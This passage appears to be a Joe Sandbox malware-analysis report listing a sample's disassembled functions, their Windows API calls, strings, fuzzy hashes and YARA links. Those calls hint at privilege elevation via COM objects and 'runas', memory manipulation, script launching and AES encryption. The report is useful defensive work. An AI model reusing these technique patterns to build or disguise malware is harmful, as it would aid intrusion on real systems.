Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 10723b900c3d3fb221c2729e0f2ab508e71a113b43aaaf7fd55bda6ca2804ccb
Instruction ID: e2b538de0a57c057fe52c3c164f8d8f627be18dee0a2b9002c67d273468f52de
Opcode Fuzzy Hash: 10723b900c3d3fb221c2729e0f2ab508e71a113b43aaaf7fd55bda6ca2804ccb
Instruction Fuzzy Hash: 6301D631B18A8585DB508F16F940529B7B1FB88FE4F485230EF6D83B88EF29D8818B00

Function 00007FF6F1DD6150 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 00007FF6F1DD6195

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 543acbdf146a9e7b635a600a3cba3d05f3b2ef6cd278b1f660c9ea2185c3ff0f
Instruction ID: f8395002ab6581e26ab3b8ab7f050cf23a158cbb66c7024c7df0053592b8d4c5
Opcode Fuzzy Hash: 543acbdf146a9e7b635a600a3cba3d05f3b2ef6cd278b1f660c9ea2185c3ff0f
Instruction Fuzzy Hash: DA01883291C78182E720CF21E8403AEB3B0FB987C4F440231E69D82685EF7CD194CB40

Function 00007FF6F1D87633 Relevance: 1.5, APIs: 1, Instructions: 33fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNELBASE ref: 00007FF6F1D87676

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 752fe5805e453647425062ce64daa4e53c54a82ad0d646f83825288564bb7983
Instruction ID: 1de9842b210b07082c0d157dab6fc82e610e190a0085625a001376bc5bcc00e2
Opcode Fuzzy Hash: 752fe5805e453647425062ce64daa4e53c54a82ad0d646f83825288564bb7983
Instruction Fuzzy Hash: 9B01212661CA8181DB70DB16F4542AA6374FBC8BD4F444132DE9D83B98EF3CD846CB00

Function 00007FF6F1DE7374 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1DE7393

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 68ea0e6e30933e9dd76abf56f21314c638998a57c534cc3687c594a1fb5b02e7
Instruction ID: 3f4c103c3cc6f8f6a4a64b6646457d25088d9d4d598d45907371b50ee9fabb5e
Opcode Fuzzy Hash: 68ea0e6e30933e9dd76abf56f21314c638998a57c534cc3687c594a1fb5b02e7
Instruction Fuzzy Hash: 8CE09231E1DA4381EBA56BA9E28217CA1706F44BF5F544331EA3C866C6EF3895504710

Function 00007FF6F1E0B4C0 Relevance: 1.5, APIs: 1, Instructions: 9fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNEL32(?,?,?,?,00007FF6F1D7E409), ref: 00007FF6F1E0B4C4

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 4104833be8186ecfced91f05a1dc286f8d4e1ac7fad94ea37a2bf5d234dce428
Instruction ID: 264f0adf660ff481894506a5cdcbfb227ac28413435df45a41fdeca7e4e5fa78
Opcode Fuzzy Hash: 4104833be8186ecfced91f05a1dc286f8d4e1ac7fad94ea37a2bf5d234dce428
Instruction Fuzzy Hash: 06C04C15F1D983D1E7541F625D921A212D06F547A1F540031C51AC0190FF5C91D68E11

Function 00007FF6F1E0D0B4 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32 ref: 00007FF6F1E0D0BD

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: ebb3c2d15c06801dfe805b6087078b0f501a5fe9f8c446694f4975735c5f9cad
Instruction ID: 27d5f67e98c96a68223606b366ed9219486591d43bd42b5530a7d1d00a8134ac
Opcode Fuzzy Hash: ebb3c2d15c06801dfe805b6087078b0f501a5fe9f8c446694f4975735c5f9cad
Instruction Fuzzy Hash: F4B09236F188C1C3C711EF04E852069B331FB94B0AFD00020E28F82664DF2CEA2A8E00

Function 00007FF6F1DEDA30 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF6F1DEA0C6,?,?,-2723E8D8DEBC5093,00007FF6F1DE4E71,?,?,?,?,00007FF6F1DED3FC), ref: 00007FF6F1DEDA85

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 9ae9f8af891c0b94514e7ea55ed6623f4eb6cc8682cd7ae55c8d48968416ecb5
Instruction ID: c9870c961832f47ab33bfe46ffa6bf796e51ff5f19dacf22063972eea3258aec
Opcode Fuzzy Hash: 9ae9f8af891c0b94514e7ea55ed6623f4eb6cc8682cd7ae55c8d48968416ecb5
Instruction Fuzzy Hash: D4F04945F0DA0341FF585A6169503B692A12FA8BD5F8C4630C83EC72C2FF2CEB808310

Function 00007FF6F1DEE8BC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF6F1DEE8FA

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: eba47d0c810211a009f984e3ce810decee2d7cb9fb39a7e87e15bbee8ef19542
Instruction ID: a51433e3f997077d1cfa981715e55fa635a94b130d3fd4d8d97522dc8c1e44cf
Opcode Fuzzy Hash: eba47d0c810211a009f984e3ce810decee2d7cb9fb39a7e87e15bbee8ef19542
Instruction Fuzzy Hash: 01F0F815F0D24B55FF9867B29D5567992A05F88BF6F480734E83EC52C2FFACA680A310

Non-executed Functions

Function 00007FF6F1DDA430 Relevance: 36.0, APIs: 19, Strings: 1, Instructions: 1015stringmemorynativeCOMMON

Download Yara Rule

APIs

RtlAcquirePebLock.NTDLL ref: 00007FF6F1DDA473
NtAllocateVirtualMemory.NTDLL ref: 00007FF6F1DDA4AB
lstrcpyW.KERNEL32 ref: 00007FF6F1DDA50D
lstrcatW.KERNEL32 ref: 00007FF6F1DDA5C2
NtAllocateVirtualMemory.NTDLL ref: 00007FF6F1DDA649
lstrcpyW.KERNEL32 ref: 00007FF6F1DDA6FC
RtlInitUnicodeString.NTDLL ref: 00007FF6F1DDA711
RtlInitUnicodeString.NTDLL ref: 00007FF6F1DDA726
LdrEnumerateLoadedModules.NTDLL ref: 00007FF6F1DDA739
RtlReleasePebLock.NTDLL ref: 00007FF6F1DDA73F

Part of subcall function 00007FF6F1DCEED0: SHGetKnownFolderPath.SHELL32 ref: 00007FF6F1DCEF29
Part of subcall function 00007FF6F1DCEED0: CoTaskMemFree.OLE32 ref: 00007FF6F1DCEFEA

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DDA777
CoInitializeEx.OLE32 ref: 00007FF6F1DDA7EA
lstrcpyW.KERNEL32 ref: 00007FF6F1DDA9C9
lstrcatW.KERNEL32 ref: 00007FF6F1DDABCE
CoGetObject.OLE32 ref: 00007FF6F1DDABEC
lstrcpyW.KERNEL32 ref: 00007FF6F1DDB269
lstrcatW.KERNEL32 ref: 00007FF6F1DDB48C
CoGetObject.OLE32 ref: 00007FF6F1DDB4AA
CoUninitialize.OLE32 ref: 00007FF6F1DDB972

Strings

0, xrefs: 00007FF6F1DDB0AA

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: lstrcpy$lstrcat$AllocateInitLockMemoryObjectStringUnicodeVirtual$AcquireEnumerateFolderFreeInitializeKnownLoadedModulesPathReleaseTaskUninitialize_invalid_parameter_noinfo_noreturn
String ID: 0
API String ID: 2979746431-4108050209
Opcode ID: 4a348020457a30817fc347b4c59be484125d27914f906bd16c32a0a05ef1d152
Instruction ID: ac92ea6b2e4e294a8bdb1d4b2c90400d9b87b7fa4caea80792f6e32eb036f65d
Opcode Fuzzy Hash: 4a348020457a30817fc347b4c59be484125d27914f906bd16c32a0a05ef1d152
Instruction Fuzzy Hash: 4BC2B93662AF948AD7908F69E88169DB3B5F788B88B105225FFCD57B18EF38C154C740

Function 00007FF6F1DCB420 Relevance: 33.7, APIs: 8, Strings: 11, Instructions: 465COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32 ref: 00007FF6F1DCB9A7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DCBB92
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DCBB98
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DCBB9E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DCBBA4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DCBBAA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DCBBB0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DCBC05

Strings

ios_base::eofbit set, xrefs: 00007FF6F1DCBBCC
.exe, xrefs: 00007FF6F1DCB56D
runas, xrefs: 00007FF6F1DCB926
.vbs, xrefs: 00007FF6F1DCB512
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+=-&^%$#@!(){}[},.;', xrefs: 00007FF6F1DCB5B4
ios_base::failbit set, xrefs: 00007FF6F1DCBBC5
.cmd, xrefs: 00007FF6F1DCB4E3
ios_base::badbit set, xrefs: 00007FF6F1DCBBBA
.ps1, xrefs: 00007FF6F1DCB4B4
.exe, xrefs: 00007FF6F1DCB485
open, xrefs: 00007FF6F1DCB91D

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ExecuteShell
String ID: .cmd$.exe$.exe$.ps1$.vbs$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+=-&^%$#@!(){}[},.;'$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set$open$runas
API String ID: 4120902618-4093014531
Opcode ID: d183a49cb038e1e05b35cdc0479dea64a12b0c8edb0861e5c6556ee9c69445ec
Instruction ID: d50eb7b91e400fd1c1588a0d22b3737a1122adc4c866fd6776c801f91fa113ec
Opcode Fuzzy Hash: d183a49cb038e1e05b35cdc0479dea64a12b0c8edb0861e5c6556ee9c69445ec
Instruction Fuzzy Hash: CB22AE72A14B8585EB10DF28D8803AD67B1FB847D8F505736EA6D87AE9EF78D184C340

Function 00007FF6F1DC02C0 Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 410COMMON

Download Yara Rule

APIs

__std_exception_destroy.LIBVCRUNTIME ref: 00007FF6F1DC0474
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF6F1DC0482
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF6F1DC0705
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF6F1DC0713
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DC08B0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DC08B6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DC08D9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DC08DF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DC08E5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DC0908
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DC090E

Strings

value, xrefs: 00007FF6F1DC039A, 00007FF6F1DC0633

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy
String ID: value
API String ID: 1346393832-494360628
Opcode ID: 45e6fbfa6b6b4078cd03c9fd33ec0732ad900381c9bd72a0abe7b5f9cb86b756
Instruction ID: cfea6c6a74bb992daa41c9757786ff4881b293833ec322f0c1513cec0aec01fb
Opcode Fuzzy Hash: 45e6fbfa6b6b4078cd03c9fd33ec0732ad900381c9bd72a0abe7b5f9cb86b756
Instruction Fuzzy Hash: 4702A022A18BC185EB00DB74D4903AE6771EB857E4F505731FAAE82ADAEF3CD185C740

Function 00007FF6F1DC8440 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 188COMMON

Download Yara Rule

APIs

BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF6F1DC84D8
BCryptSetProperty.BCRYPT ref: 00007FF6F1DC8502
BCryptGenerateSymmetricKey.BCRYPT ref: 00007FF6F1DC853B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DC8557
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DC865B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6F1DC8661

Strings

ChainingModeGCM, xrefs: 00007FF6F1DC84F0
ChainingMode, xrefs: 00007FF6F1DC84F7
AES, xrefs: 00007FF6F1DC84CD

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: Crypt$_invalid_parameter_noinfo_noreturn$AlgorithmConcurrency::cancel_current_taskGenerateOpenPropertyProviderSymmetric
String ID: AES$ChainingMode$ChainingModeGCM
API String ID: 2556340343-1213888626
Opcode ID: f6f60292c266723fb15cd6c1a33b7d9c977a079a37895f601602e26d361ee006
Instruction ID: fd8fb54cfbbfcee2fc06f5e2899bbf4899c1458e95ec4af06e0d18ddfaeaeb64
Opcode Fuzzy Hash: f6f60292c266723fb15cd6c1a33b7d9c977a079a37895f601602e26d361ee006
Instruction Fuzzy Hash: 00610262A1878686FB109F26E4407A96360EB85BE8F544731EF7C87BD5EF3CE5818300

Function 00007FF6F1E0B170 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(?,?,?,?,?,?,00000000,00007FF6F1D7C419), ref: 00007FF6F1E0B196
FormatMessageA.KERNEL32 ref: 00007FF6F1E0B1C9

Strings

!x-sys-default-locale, xrefs: 00007FF6F1E0B189

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: e9313e5009c165bfc27bb14f9f63cf4f23352891cc12b2974ad7925588fd8796
Instruction ID: 4f70da2c006c1098dfbbd2f2f042c445e692f71d95456e6e11bd2682226293dc
Opcode Fuzzy Hash: e9313e5009c165bfc27bb14f9f63cf4f23352891cc12b2974ad7925588fd8796
Instruction Fuzzy Hash: FE018476B1878282F7118B12B5547BA7791FB887C5F544035DA6B86AD4EF3CE505CB00

Function 00007FF6F1DF9310 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F1DE9EEC: GetLastError.KERNEL32 ref: 00007FF6F1DE9EFB
Part of subcall function 00007FF6F1DE9EEC: FlsGetValue.KERNEL32 ref: 00007FF6F1DE9F10
Part of subcall function 00007FF6F1DE9EEC: SetLastError.KERNEL32 ref: 00007FF6F1DE9F9B

Part of subcall function 00007FF6F1DE9EEC: FlsSetValue.KERNEL32 ref: 00007FF6F1DE9F31

GetLocaleInfoW.KERNEL32 ref: 00007FF6F1DF9378

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: ErrorLastValue$InfoLocale
String ID:
API String ID: 673564084-0
Opcode ID: d3f265d93177da05e9e3079d3dae9c7822de4fa7ba26229b0f968e85ede82faf
Instruction ID: 979d89b1fd90ba10cff9f2c54f2b2dc1828e3818801dbd25c34340aa8424a2fb
Opcode Fuzzy Hash: d3f265d93177da05e9e3079d3dae9c7822de4fa7ba26229b0f968e85ede82faf
Instruction Fuzzy Hash: E3314532E0868286EB289B21D4613A973B1FB847C8F449235EB6DC72C9EF3CE5558700

Function 00007FF6F1DF9518 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F1DE9EEC: GetLastError.KERNEL32 ref: 00007FF6F1DE9EFB
Part of subcall function 00007FF6F1DE9EEC: FlsGetValue.KERNEL32 ref: 00007FF6F1DE9F10
Part of subcall function 00007FF6F1DE9EEC: SetLastError.KERNEL32 ref: 00007FF6F1DE9F9B

GetLocaleInfoW.KERNEL32(?,?,?,00007FF6F1DF92C2), ref: 00007FF6F1DF954F

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: ErrorLast$InfoLocaleValue
String ID:
